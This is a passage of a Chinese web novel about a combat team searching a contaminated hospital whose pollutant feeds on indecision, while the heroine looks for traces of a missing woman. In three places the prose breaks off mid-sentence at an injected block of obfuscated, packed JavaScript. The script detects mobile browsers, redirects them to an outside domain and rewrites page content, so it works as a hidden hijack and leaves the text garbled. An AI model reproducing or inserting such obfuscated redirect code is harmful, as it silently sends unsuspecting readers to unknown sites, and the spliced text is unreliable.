烟雾弹拿着,炸药拿着,再搞两把枪一只筒,再配一堆子弹。阮砚瞳把能塞的都塞进了包里。 装完了,她背起包直奔移动仓。赶紧的,她要迟到了。 9:57,她下了车,看到林安时和姜岑已经在仁心医院外围等着了。但在那儿的不止她俩,这次任务的阵仗很大,光是等候在外的保障队就配了6个人,而且直接拉来了一辆武器车。 阮砚瞳去和林安时报道,走近了才发现,人群中还有一个她认识的人。 不远处的唐筝也看见了阮砚瞳,但两人非常默契地谁也没跟谁打招呼,转过头各忙各的。 姜岑看到觉得奇怪,问:“你俩不认识吗?训练那天不是你俩打的吗?” 阮砚瞳觉得她俩的关系一时半会很难解释清,便随口敷衍道:“不太认识。” 姜岑还是疑惑:“跟不认识的人能打的那么难舍难分?” 阮砚瞳没再回话。林安时笑了笑,指着唐筝和她附近的三个人介绍。“那四个人是飞鹰队的,这次跟我们一起出任务。” 飞鹰队。有队名就证明了这个队不简单,只有A级、S级队长所在的队伍才有队名,队名即是一种勋章,表明这是一支能力者队伍。 看得出席溪很想她们顺利找到叶禾的信息,直接派了一支高级别队伍来保驾护航。 阮砚瞳瞄了一眼在飞鹰队里的唐筝。不愧是C级新人啊,入职就进了A级以上的队伍,真了不起。 但她又转念一想,我也不差,我F级能混进B队嘞。 阮砚瞳逐渐适应了这份工作,放下了刚入职时的拘束和思想负担,开始没皮没脸起来。工作是要这么干才干的下去啊。 林安时拉着阮砚瞳在不远处认人。“飞鹰队这次来了两个男生三个女生,那个个子最高的男生,是飞鹰队队长,叫左思博,A级作战员。” “哇哦,男A级吗?”阮砚瞳忍不住惊叹了一句。属实是太稀奇了,A级里居然还有男性,在这一行里可不多见。 左思博正巧看到了这边,招呼她们过去。他是这次行动的现场指挥官,需要做战前布置。 左思博问林安时:“你们人到全了吗?” 林安时:“还没。你可以先开始,我转告他。” 还有谁?比我到的还晚?阮砚瞳正疑惑着,一个男生小跑着到她身边。 “我到了我到了。”朱淮也连忙举手报道。 林安时看了看时间:“10:05分,你迟到了。” “对不起。”朱淮也道歉倒是很快,一点借口没找。 朱淮也跟周围的几个人打了招呼,他跟作战部很多队都一起出过任务,今天在这儿的大部分他都认识。 最后他的视线停在阮砚瞳身上。 诶?这谁来着,好眼熟。朱淮也边抬手指着阮砚瞳,边在脑海里搜索。 啊想起来了,这是那天训练场打格斗的那个。朱淮也想出答案,自己拍了个手,冲阮砚瞳笑了一下。 阮砚瞳看着他,皱起眉头。你谁啊,不认识,莫名其妙。 她没回应,转头听左思博的安排。 仁心医院的基本情况她们仨前几天在会上就清楚了,但左思博不知道,当她们第一次听,讲的非常详细。 “中心之前派出的作战队全军覆没,所以本次的任务指南中明确写了大家要谨慎点,尽量不要刺激到污染物,多找线索、破解附着链来提高成功率。” 其实最主要的原因作战中心并没有吐露给左思博,她们需要拖延时间来找叶禾的线索。 B级污染基本不可能一击毙命,开战的成功率也无法保证,况且即使成功了,她们也没办法在这么多人的眼皮子底下进行秘密搜查。 在寻找污染附着链线索的过程中留意叶禾的信息,是最好的方式。 左思博继续说:“该污染区没有目标情绪的有效信息,但根据医院场景的特点,作战员尽量避免“悲伤”“怜悯”“同情”这类情绪。” 这点阮砚瞳已经准备充分,她昨天看剧的时候就不会再流一滴眼泪。她现在就是看淡人间生死的上帝心态,没人比她更懂命运无常。 左思博又交代了几句,然后问林安时:“这次污染区面积比较大,我们两队分开行动,门诊中心和住院部,你们想去哪儿?” 左思博作为更高级别的一队,主动把选择权让给了林安时。这正合林安时的意,她们是带着别的任务来的。 林安时:“住院部吧。前几天我们出了一个美容院的任务,有点阴影,想离诊室远点。” 左思博:“没问题,那我们公频里及时沟通 ,准备动手前同步一下。” 阮砚瞳打开脑控,她已经被林安时拉进了“仁心医院(B)”的任务公频,频道里9名作战队队员加上6名后勤人员一共14人。 阮砚瞳查看飞鹰队的人员信息。左思博(A)、柯佳(B)、费芊(B)、郝文宇(C)、唐筝(C) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091992|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不仅是A级作战队,而且是精英A级作战队,全员C级以上,而且唐筝是C级新人,跟普通C级完全不是一个概念。 阮砚瞳收到另一个新频道的消息。林安时:叶禾的线索在这里同步。 这个频道里有五个人,除了她和姜岑还有钟烛和席溪。跟大老板在一个群里,阮砚瞳一点开心不起来,今天这俩频道没有一个是她能畅所欲言的。 作战队准备就绪,飞鹰队准备打头阵先进去看看情况,排除园区内的风险。 在阮砚瞳她们等着的时候,林安时做好了队内的部署。“我们进去直接奔住院部,先抓紧时间分散去搜查。污染区进入越久越危险,我们中后期再一起行动。” “小心一点,不到必要时刻不要惊动污染。但先保护好自己。有问题及时同步。”林安时着重跟阮砚瞳强调。 阮砚瞳点头:“我努力活着,尽量不麻烦你。” 林安时笑起来:“不麻烦,我感觉你像我的吉祥物一样,这两次任务我都感觉自己能力提升了。” 阮砚瞳憨笑:“是嘛,那太好了,希望这次也继续旺你。” 姜岑终于习惯了这俩人的战前鼓励环节,在一旁望天。朱淮也是头一次见,觉得有趣,不小心笑了出来。 林安时闻声,转过头看着朱淮也,朱淮也立刻毕恭毕敬:“对不起队长,我今天来晚了。” 林安时没揪着这个事指责他,认真地跟他说:“小朱同学,这次任务很凶险,可能我们都要靠你的天赋保命哦。” 朱淮也:“没问题,你们冲,我殿后。” 林安时点点头,虽然朱淮也平时吊儿郎当的经常脱线,但一旦进入污染区还是非常靠谱的,她对他这方面很放心。 倒是阮砚瞳不太爽地看了一眼朱淮也。刚才他说的那话,听上去怎么感觉来了个跟她抢活的。 而且阮砚瞳一直都还不知道朱淮也的天赋是什么,只是之前听她们说他的天赋很实用。 天赋是作战员的核心武器,一般情况不会彼此透露。但既然要一起进污染区,可能还要靠他的天赋保命,那她了解一下应该不冒犯吧。 阮砚瞳问朱淮也:“你的天赋是什么啊?” 朱淮也看向一旁的阮砚瞳,笑着问她:“你叫什么啊?” 阮砚瞳才想起来她还没告诉人家自己的名字。“阮砚瞳。” “啊。”朱淮也似有所悟地点点头。 得到他要的答案之后,朱淮也来到阮砚瞳面前,打了个响指。 嗯? 朱淮也打完响指,公频里就传来左思博的声音:“园区内无危险,放心进入。” 朱淮也对着阮砚瞳摊开手,笑着耸了耸肩,后退了几步,然后转身进入仁心医院。 阮砚瞳愣在原地,眨了眨眼睛。 等到朱淮也走远了,她才反应过来。刚才他也没回答她的问题啊?他的天赋是什么啊?他说了吗? 这人啥情况啊? 姜岑走到一半,看到依然待在原地的阮砚瞳,招呼她过来:“走吧,愣着干嘛?” 阮砚瞳急忙向姜岑小跑过去。问:“飞鹰队排除危险了吗?” 姜岑一脸疑惑地看着她:“排除了啊,刚才在公频里通知了。” 刚才公频里说话了?阮砚瞳回忆。好像刚才脑控里是传来声音了,但怎么信息一句都没过脑子。 阮砚瞳突然醒悟了一点,问姜岑:“朱淮也的天赋是什么?” 24.仁心医院(2) 听到阮砚瞳这么问,姜岑也大概明白刚才阮砚瞳为什么失神了。 姜岑:“他刚才对你用天赋了?” 阮砚瞳不太确定:“可能...是吧?” 不然她实在解释不清楚刚才是怎么一回事。但她也不是非常肯定,毕竟她没有受到任何伤害,也不是被定格之类的状态。她就是好像那一瞬间什么都没想。 姜岑:“朱淮也的天赋【空】,能够在时间内清空指定目标的精神思维。是稀有天赋,属于很强的辅助技能。” 阮砚瞳回想自己刚才的状态,能对得上,看来朱淮也是用行动告诉了她,他的天赋是什么。 污染物的攻击技能以及人类的天赋都依靠精神发动,所以清空精神思维,意味着目标无法发动攻击。而人在崩溃失控的时候清空思维,能迅速控制住情绪。 的确非常实用,能迅速建立起绝对防守。 姜岑:“我记得他的天赋每次使用最多持续2s,冷却时间也挺长的。如果勤于训练的话,应该还有增强空间,但这人一点不上进,毕业之后毫无长进。” 朱淮也毕业时天赋评级为A+,是当年的C级新人。姜岑跟他同届,她记得这人上学时候成绩挺好的,不知道工作之后怎么回事,突然开始躺平了。 阮砚瞳听姜岑的描述,心里略微有些愤恨。能废掉敌人的攻击,这种天赋关键时刻使用甚至可以直接扭转局面。拿着这么好的天赋不好好精进,简直是暴殄天物。 她作为无天赋者,觉得实在是太可惜了。这世界上就是有人拿着别人梦寐以求的东西在那瞎搞。 姜岑看出来阮砚瞳的不满,想了想,还是给朱淮也说了句好话。“但他这人大事上是信得过的,你需要的话找他,他很好用。” 阮砚瞳敷衍地点了点头,如果情况不是特别危险,她还是别用了,这人冷却cd长,别用完耽误了正事。 阮砚瞳和姜岑进入仁心医院之后,按照提示牌径直往住院部走。她们一路上看到一些尸鬼,但就像正常医院的状态一样,各自有各自的事要忙,没有鬼来主动招惹他们。 仁心医院内部环境还不错,有花有树的。因为医院位置不在市中心寸土寸金的地方,所以占地比较大,建筑也很气派。住院部不是那种窄窄的高楼,而是像高星酒店一样气宇轩昂。 进了住院部,阮砚瞳和姜岑就按照林安时之前的安排分开去调查了。姜岑直接上了楼,阮砚瞳则在一楼瞎转。 一楼现在没几个人,偌大的大厅显的空荡荡的。阮砚瞳转悠的时候找到一块布局图,图上标明了住院部一楼的区域划分和位置,有住院大厅、出入院办理处、药房、食堂及便利店... 诶,这儿还有食堂。 阮砚瞳今天出门急,饭都还没来的及吃,她现在很饿,看到有食堂,眼睛一亮。 再大的事也要先吃饭吧,不然哪有力气打架,况且现在还有时间。 而且食堂这个地方是个很特殊的场合,一个住院的患者,除了自己楼层的相关地方,大概率不会去其他楼层和区域,但却很可能去过食堂,毕竟人总是要吃饭的。 在这么大的医院里找一个十年前患者的线索,本身就是大海捞针。食堂算是概率很大的活动地点了。所以要不要去碰碰运气? 【系统提示情绪熵值-1%】 阮砚瞳一愣,直起身警惕起来。她左右看了看,四周只有她一个人。 阮砚瞳皱皱眉头,非常疑惑。不是,我怎么了啊我?情绪值就下降了。她觉得自己什么都没干,什么情绪都没产生。 不过波动的数值非常小,一个普通人平时状态下也会产生微小的情绪波动,监测系统的准确度也会有细微误差。可能只是正常波动,跟目标情绪没关系。 算了。阮砚瞳把这个小意外抛在脑后,决定按着指示方向往食堂走。 先去看看那边什么情况吧,食堂里大概率有尸鬼,没准能有信息。而且食堂也不完全算是医院这个场景下的东西,应该很难产生目标情绪,不会很危险,可以先用来做过渡。 阮砚瞳推开门帘,走进食堂,意外地发现这儿还挺有烟火气的。 点餐的档口都开着,饭菜玲琅满目地摆在桌子上,等待着顾客挑选。阮砚瞳吸了吸鼻子,她甚至能闻到饭菜的香味。 尸鬼除了餐厅的工作人员外,还有来就餐的食客,能坐满了差不多三分之一的座位,一点不冷清。 而且和美容院的蛇精脸尸鬼不同,这儿的尸鬼都还算维持着正常的样貌,和普通人没什么区别。可能因为污染物等级高,它们的状态也更自然。 阮砚瞳来到最边上的一个档口前。这个档口卖的是盖浇饭,有几例成品已经做好摆在保温桌上了,选中了就可以直接取走开吃。 柜台后的师傅看上去有一定年纪了,有可能在这里工作了很久。 阮砚瞳把叶禾之前的照片翻出来,拿给档口后面的师傅看。“您见过吗?” 尸鬼师傅盯着图片看了看,摇摇头。 “没有...你问问收垃圾的阿姨...” 答非所问。听这回答,最常到师傅这来问这句话的,是在食堂里丢了东西的人。 看来今天没有什么撞大运的机会,还是耐下心一点点查吧。 而此时尸鬼师傅开始热情招呼她:“小姑娘...来看看吃点什么...我们这的饭都可香了...” 阮砚瞳收起照片,瞄了一眼菜品。菜的色泽看着确实很不错,阮砚瞳咽了咽口水,目光停留在了烧茄子盖饭和鱼香肉丝盖饭上,这俩看上去都挺好。 这茄子油光水滑的,应该很香,但油可能挺大。这鱼香肉丝也行,不过不知道这家做的是咸口的还是酸甜口的,她只爱吃酸甜的。哪个好吃呢? 【系统提示情绪熵值-3%】 猝不及防地,系统提示又出现了。 这次阮砚瞳确定不是偶然。明显的数值下降,她被吸食目标情绪了。阮砚瞳把注意力从吃的上面转移开,严肃地回想这两次情绪下降的时机和状态。 她确认自己没有产生痛苦悲悯之类的和医院场景有关的情绪,这两次都是因为食堂,食堂有什么可悲伤的。 她继续缕细节的相似点。第一次掉情绪是因为她在指示牌上看到了食堂,她想去。这次因为看到了菜,她想吃。 阮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140537|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚瞳挠了挠后脑勺,这么推的话,难道目标情绪是【馋】? 在医院用【馋】做目标情绪,是不是太荒唐了。 阮砚瞳继续想了想,发现也有一定的合理性,生了病的患者基本都需要忌口,她之前过敏的时候也经历过,确实很容易馋。 这种情绪在患者身上还算普遍,而且还隐蔽,容易在不经意的情况下被吸食,不排除这种可能性。 但还是有点奇怪,食堂还好说,那病房和诊室靠什么场景吸食情绪呢呢,楼上的病房里不会摆满了各式各样的好吃的吧。 先离开。 阮砚瞳往小卖部走去,准备随便买点什么充饥。她边走边打开公频,想看看其他人的情况。 好几个人都出现了情绪值下降。飞鹰队郝文宇在频道里发了一条消息:这目标情绪到底是啥啊,怎么莫名其妙的就降了。 没有人回复他,看来都还没有得到确切的结论。 阮砚瞳到小卖部,立刻找到卖饼干的区域,开始逐一翻找起来。她的目标很明确,找一个还没过保质期的,能吃就行的前提下,尽量别坏肚子。 还真被她找到一个,她拿着就往门口走。但她被售货员拦下了。 “顾客...您还...没付钱...”尸鬼恪尽职守,不打算无视阮砚瞳的顺手牵羊。 阮砚瞳点点头,那付吧。逃单不成,她老老实实找支付软件。 售货员走到柜台后,把一个码推到阮砚瞳面前。“您可以注册点赞...能减十元...” 阮砚瞳手上的饼干就是十块的,减十元就可以0元购了。但要注册吗,好奇怪啊,她要注册成为一个污染区的会员? 【系统提示情绪熵值-2%】 毫无防备地第三次情绪值降低。阮砚瞳迅速付了钱,然后摸着枪,万分警戒地慢慢后退。 她心里有了一些推测,随后心下一沉。 要是这个情绪的话,可不好办。 阮砚瞳打开公频,已经有几个人察觉到了相同的问题,开始在公频里对情况。 柯佳:我刚才掉情绪前护士问我挂专家号还是普通号。 郝文宇:你这么一说,我想起来刚才我犹豫了一下是等号还是先去转转。 朱淮也:我掉情绪的时候在自助售卖机选饮料。 结合各自遇到的情况和信息,目标情绪已经很明显了。不过这些都是事后分析,对于这种会推翻预想或未知性较强的目标情绪,最好有确认无误的结论。 左思博:谁旁边有场景,再最后确认一下,给个准确的定论。 阮砚瞳身边正好有一个患者和陪同的家属对着烤肠机踌躇不前。 家属:“你还在恢复期...要清淡饮食...” 患者:“不是说...不能吃海鲜发物什么的么...这应该...还行吧...而且就一口...不会有什么事吧...” 阮砚瞳试着带入她们的视角。 【系统提示情绪熵值-1%】 就是它了。阮砚瞳刚想发送文字,频道里弹出了新的消息。 唐筝:目标情绪确认,为【抉择的犹豫】&【纠结】 25.仁心医院(3) 完蛋了完蛋了。阮砚瞳在心里警铃大作。脚下一刻不停地走出食堂。 这几天医疗剧白看了不说,这个污染区的目标情绪对她来说非常危险。 她有选择困难症。十分严重。光是今天吃什么这一个问题,就能让她对着菜单原地纠结二十分钟。 一点不夸张,要是之前知道目标情绪是这个,她打死都不会来送这个命。一楼都还没查完,她情绪值就掉到了89%。 阮砚瞳不断给自己做心理预设。别纠结,别犹豫,闭眼选,不用负责。 阮砚瞳走回大厅,愣了一下。 住院部大厅里此刻人满为患,完全不是刚才冷冷清清的样子。 污染物吸食了一些情绪,尝到了甜头,现在开始使出浑身解数,要将她们都收入囊中了。 还没等阮砚瞳有什么动作,一个护士见到她便急忙跑过来。 “你怎么追到这来了...都说了病房床位不够...腾不出位置给你...你自己选吧...回家还是在走廊加床...” 我没病,我不选。阮砚瞳绕开护士,往前走去。 “你这检查还做不做了...赶紧决定...再不决定这两天都做不上...”另一个护士焦急地上来询问她。 阮砚瞳挥挥手,片刻没停。“不做。” 路过取药的窗口,一个面露愁容的大姨拦住了她。“姑娘...能帮我查下...这个药药店会便宜点吗...我在医院买还是去药店...” “我赶时间。”阮砚瞳想都没想,直接拒绝。 在医院,需要做的决定实在是太多了。 人类受污染区影响,会更容易产生情绪,很多事情一旦听进去,动了脑子,不知不觉就会被带入进去。 往后应该更麻烦,现在能屏蔽就屏蔽,留住情绪值。 一楼也不像是能有什么信息的样子,阮砚瞳一路拒绝与尸鬼的对话,直奔电梯间。 电梯间总算清静了一点,没有尸鬼追着她问东问西。而且她为了防止自己在按电梯层数的时候犹豫,提前想好了一会儿就去7楼。 不为什么,就是脑子立刻蹦出来的数,她现在就跟着直觉走。 阮砚瞳按亮了向上的按钮,然后撕开刚买的饼干,一边吃一边等电梯。 过程中,不断有尸鬼来到电梯间。阮砚瞳一直往后挪动,不想引起“鬼”的注意来跟她搭话,最后几乎靠到了身后的墙上。 叮。电梯到了。 面前的尸鬼呼啦呼啦地涌进电梯,轮到阮砚瞳的时候,电梯内部已经没多少空间了。阮砚瞳皱了皱眉头。她实在不太想跟一堆尸鬼有肢体接触。 要不等下一趟吧? 【系统提示情绪熵值-2%】 靠。 阮砚瞳僵在那里,放弃思考,清空思绪,看着电梯门在自己眼前关上,这才吐出这口气,放松下来。 这些污染物都太恶毒了,让人防不胜防。阮砚瞳把剩下的饼干塞进嘴里,闷着气咔吱咔吱地嚼碎。 电梯离开后,屏幕上显示的数字一层停一下,一层停一下,看的人直着急。阮砚瞳盯着慢吞吞的数字心想,我走楼梯都比这快。 对啊,那要不然就... 【系统提示情绪熵值-2%】 阮砚瞳立刻推开楼梯间的门,二话不说开始大跨步蹬楼梯。走楼梯就走啊,为什么要犹豫。 但阮砚瞳上了几步的时候,就听到楼上传来激烈的对话声,心里隐约觉得危险。 她刚才没多思考就冲进来了,这才意识到楼梯间也是公共场合中私密对话的高频发生地点。在外人面前不好多说的话,要到楼梯间这种没什么人的地方才能痛快地说出来。 但她不敢多想,脚下也没停,一直往上爬。爬到二楼的时候,对话声逐渐清晰起来,阮砚瞳听到了他们的谈话内容。 “要不再换家医院看看吧...” “我们已经换了3家了...都说这儿已经是本市最权威的了...” “不是还有外市吗...” “有用吗...我们都花这么多钱了...还要继续吗...” “你什么意思...你要放弃吗...” “我什么意思...我让你现实点!” 阮砚瞳听着对话,把注意力集中在眼前,片刻未停来到三楼。她刚想继续上楼的时候,看到了三楼半的地方面对面站着的一男一女。 两人年纪相仿,可能是一对夫妻,或者姐弟兄妹。 阮砚瞳停下脚步。楼梯上的尸鬼对她的出现没有什么反应,依然继续着他们的争吵。 “现在这样...你要我怎么办...” “难道我就知道吗...” 女人不再说话,绝望地掩面哭泣。楼梯间终于安静下来,只剩微弱的抽泣声。 别人的事少管。阮砚瞳几乎是一直念着这句话,屏蔽掉他们的对话,才能保持情绪值没掉的。 但阮砚瞳不想继续往上了,这两只尸鬼档在路中间,她若是路过,不知道他们俩会有什么反应。她觉得有点危险。 她转身推开3层的通道门,走了进去。查哪层不是查呢。 3层整层几乎都是病房,分布在走廊两侧。走廊上有零星几个穿着病号服的患者在走动。 有一个尸鬼患者从远处走来,但胸部的位置好像挂了一团什么东西。阮砚瞳以为自己看错了,眨了眨眼睛。 患者走近了些,她终于看清了那团东西。 这东西她在人体结构图上见过。 是人的肺。 但这个肺已经黑了一半,冲破了体内暴露在患者胸前,随着呼吸不断地收缩和扩张。 她看向另一个尸鬼患者。这个患者暴露出来的器官是肝脏,颜色发深,表面上还有一些斑点。 阮砚瞳的鸡皮疙瘩起了一身。 患者在这个污染区的畸变,是所有病变的器官都会非常直观地暴露在表面。 阮砚瞳还从来没见过这么多器官,觉得非常不适。但这或许是医生患者都希望的事情,任何问题都能直观地展示在眼前,不用做无数的检查但最终还是无法定论。 只能说服自己这事正常了。一个病变的器官,当然要翻出来观察下状态。 阮砚瞳没再把注意力集中在这两个患者身上,开始查看病房的情况。病房很密集,一间挨着一间,而且大多都是4-6人的多人间。 阮砚瞳在几间病房的门口张望了一下,每张床上基本都有患者,很少有空着的床位。再加上陪护的家属,病房里能有十来个人。 而且无一例外,每个在病床上患者病变的器官,都暴露在身体外。 阮砚瞳各个病房扫了一眼,但都没有选择进去。 住进医院的人肯定都有各自的故事和难处,没什么特殊的事就不挨个进去打扰了。线索未必找得到,别再无缘无故把自己搭在这。 阮砚瞳就在走廊里漫无目的地的观察情况。而路过的患者和推着治疗车的护士也没有主动来上前攀谈的。整体还算是安全。 直到她走到中间区域,站在一个分叉路口上。往哪走这个问题,不可避免地出现在她眼前。 【系统提示情绪熵值-1%】 她现在有点习惯在这种细微选择上被吞情绪了,习惯到这种情况下她已经能立刻稳定住数值。 阮砚瞳刚要抬脚随便走一条路,看到她面前经过三个医生和一个护士。其中一个医生看上去有点年纪,像是导师带着学生。 她瞬间就被吸引了注意力。她进来后尤其关注有点年纪的职工。叶禾是十年前入院的,和叶禾相关的人员肯定已经是老员工了。 她刚才一路上碰到的医护人员不多,都是看上去很年轻的小护士,这是第一个她觉得能有点可能性的。 阮砚瞳决定跟上去看看情况,一路尾随他们进入了一间病房中。 这是一个6人间病房,患者都是年纪不大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186226|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小朋友,墙壁上贴了一些卡通图案,有些床头还摆着玩具。 好几个小朋友在捧着屏幕看动画片,病床边的父母在一旁照料着,跟孩子们说说笑笑,但一停下来,免不了露出愁容。 医生们没有和其他患者过多交流,阮砚瞳跟着他们径直来到最里面的病床。 病床上的孩子看上去五六岁的样子,安静地躺在那里。在污染区的畸变下,孩子身上的血管都暴露在外,凸起在皮肤上,密密麻麻地缠满全身,将他小小的身躯束缚其中。 阮砚瞳看了一眼床上的孩子,立刻把视线偏了过去。这个场景看着就太残忍了。她深吸一口气鼓起了腮,再慢慢吐出去,在心里给自己做思想建设。 孩子是祖国的花朵,就想象他是一朵花,一朵被藤蔓裹住的玫瑰。 病床边是他的父亲,年纪不大,但面露疲容,发稍中已经有明显的白发,看到医生来,便起身迎接。 医生点头和父亲打了个招呼,孩子也有礼貌地跟医生问好。 “许医生好...” “小聪今天感觉怎么样...” 小聪:“好多了...今天没有那么疼...” 许医生:“那很不错...小聪自己玩一会...医生找你爸爸有点事...” 小聪点了点头,一旁的父亲掖了掖小聪的被角后,跟着医生朝外走去。 他们最后在病房门口停下,几个人像一面人墙一样把路堵的严严实实。阮砚瞳没找到能溜出去的缝,索性就在里面靠着门边听。 这地儿看上去挺安全,也就在孩子爸旁边,什么都能听见。 医生十分严肃地跟这位父亲说:“我还是建议手术...现在这种状况再拖下去不太乐观...” 父亲面色沉重,跟医生确认:“许医生...这手术做了...就能好吗...” 许医生无奈地摇了摇头:“没法保证...复发的可能性还是很高的...术后可能也有不良反应...但目前看来...是唯一的希望...” 父亲表情痛苦地低下头,重重叹了口气,然后陷入沉默。 许医生再度询问:“也能理解...但您现在需要做决定...再晚就真的没办法了...” 父亲眼眶已经泛红,艰难地开口:“这个病治到现在就已经把所有钱都花光了...” “本身就没什么钱...每天跑医院...工作也丢了...还欠了很多...” “做手术要钱...康复要钱...但万一再复发...命也保不住...这些钱全部都要打水漂...” “但我可怜的孩子...他才6岁啊...” 阮砚瞳听着,心也跟着沉下去。千万个人,千万种人生。而命运偏偏要压在无力承受的人身上。 但谁又能承受呢,谁去承受又算得上公平呢。 医生和孩子父亲的谈话陷入无声的僵持。医生理解,同情,怜悯,但没办法。他经常要面对这种没办法。 沉默中,背后突然想起孩子撕心裂肺的哭声。 “爸爸...爸爸...” 父亲急忙转身,慌张地向小聪的床位跑过去。“怎么了...怎么了...” 阮砚瞳也往前探了探身,刚想看看发生了什么,就被一双手紧紧抓住肩膀,将她转了回来。 阮砚瞳反应很快,迅速抓住那只手,全身的肌肉绷起,时刻准备进入战斗。 但她没有发动攻击。 她的视线对上许医生那双因为急迫和疲惫而生出红血丝的眼睛。 许医生抓着阮砚瞳的肩膀,着急地看着她。 “快决定...到底要不要手术...来不及了...” 阮砚瞳一脸蒙圈地看着他。你认错人了呀。 “不是,我不是...”她想要辩解,但许医生像是认定了一样,手上的力道更紧了几分,摇着她说。 “病人家属...请不要再犹豫了...” 26.仁心医院(4) 阮砚瞳被他摇的脑袋有点发懵。 她看着许医生眼白中爬着的红血丝,想起小聪身上缠满的血管。 身后小聪的哭声还在继续,连绵不绝地传到阮砚瞳的耳朵里。他父亲的安慰声时不时响起,听上去心疼又无奈。 那孩子,要怎么办。 【系统提示情绪熵值-2%】 阮砚瞳被代入进去了。 许医生还在恳切地询问她:“手术...还是放弃...” 阮砚瞳摇头,我做不了这个决定。 【系统提示情绪熵值-3%】 许医生并不打算就这么算了,眼中迫切地望着她,紧紧抓着她的肩膀,把阮砚瞳抓的生疼。 她反倒是因为这丝疼痛抽离了一点。 对了,叶禾。她是为了叶禾的事跟进来的。 阮砚瞳勉强清醒过来,忽视掉许医生想要得到答案的急切,反问了他一个问题。 “你知道叶禾吗?” 许医生没有反应,依然紧紧抓着她的肩膀,想要她回复他的问题。 倒是他身后的一个年轻医生,听到她的询问后,张开了嘴。 “澄渊队队员...?” 阮砚瞳意外地看着回答她问题的年轻医生,眼睛闪过一丝光,猛地点了点头。 “你在这见过她吗?” 这句话问出后,医生却没有了反应。 阮砚瞳想了想,换了个说法。“叶禾没死?” 依然没有反应。 阮砚瞳又试了一次。“叶禾后来...” “叶禾后来死于人造海事件...和阮青见一起...”年轻医生像背课文一样,回答上了阮砚瞳的提问。 好吧。看来他只是知道叶禾这个人。阮砚瞳失落地垂下眼。 许医生还没有放弃让病人家属作出决定,再次摇晃阮砚瞳。“手术...做不做...” 既然没有线索,就不要在这浪费时间。 阮砚瞳看着许医生,平静地开口。 “不做。” 某种程度来说,这可能也是最终的现实,是父亲开不了口的决定。 收到阮砚瞳坚定地回复后,许医生终于放下手。阮砚瞳解脱出来,丢下失落的医生和身后孩童的哭泣,迅速走了出去。 阮砚瞳离开病房后,直接上到了四楼。四楼主要还是病房,但她没走两步,就路过了一间医生办公室。 办公室的门是关着的,阮砚瞳轻轻拧动门把手。 没锁,有希望。 在医生办公室捞有效信息的概率,总比在病房里大海捞针要大。 阮砚瞳不敢造次,先推开了一条缝,看到几张连在一起的办公桌,桌子上还摆着没关的电脑。 她慢慢地把门推开,整个办公室的布局呈现在她眼前。 刚才看到的办公桌旁放着一个零食推车,办公桌的对面是一排透明玻璃的铁柜子,门口边上有一个衣架,上面挂着一只白大褂。门旁边的这面墙是一块白版,上面标记着住院医生的排班表。 除此之外,再没别的。 没有尸鬼。这也太幸运了!阮砚瞳暗自高兴。 她进到办公室内,关好门,迅速坐到电脑面前,开心的嘴角上扬。有这个东西,还用翻别的吗,这不想找什么都在里面了。 电脑的界面没关,停留在现在收治住院患者情况的页面。她大致浏览了一下,病患的诊断基本是是肠梗阻、溃疡性肠结炎、痔疮、肛瘘这类疾病。 她看不懂这些,而且对她来说也不太重要。她需要的是查一查叶禾入院期间的患者资料,如果有的话,能省去太多事了。 她把按钮一个个看过去,然后找到医院的病患系统。万分期待地点开,然后系统弹出了一个弹窗。 这咋还要密码啊。阮砚瞳失落地撅起嘴。 也是,疾病属于个人隐私,哪能什么人都能看,这么大个医院,还算是有点防患意识的。 阮砚瞳把仁心医院的首字母还有年份什么的都试了一遍,没有一个成功的。 算了,她向来猜不出这种东西,小时候她小姨防止她沉迷网络换wifi密码的时候,她也从来没破解出来过。她就没这个脑子和运气。 还是求助组织吧。阮砚瞳打开她和林安时姜岑的小频道,问群里的人:有人能搞到医院系统的密码吗?里面没准有叶禾的记录。 姜岑:我问问飞鹰队那边,你先忙别的,有消息我同步。 阮砚瞳开始翻找桌上的书架和抽屉,没准哪儿记着密码呢。 但她翻到的只有一些信息资料。十年前的患者信息这里肯定是没有了,而且叶禾大概率也不会在这个科室。 不过倒是有这个科室医生的信息。阮砚瞳看了看,都是刚毕业没多久的医生,来医院先从住院医开始做起。 她正翻着,办公室的门突然砰的一声被着急的推开,一个医生大步快走进来。 阮砚瞳没动,低着头假装在查阅资料。她希望这个尸鬼直接忽视她,该忙什么忙什么去。但她的希望落空了,这个医生见了她,立刻露出了喜出望外的表情。 “小欢...你在这啊...我正要找你...” emmmm又认错人了,不过算了,将错就错吧。被认成医生会比被认成家属安全一点,而且同事的身份也更好套出点什么话。 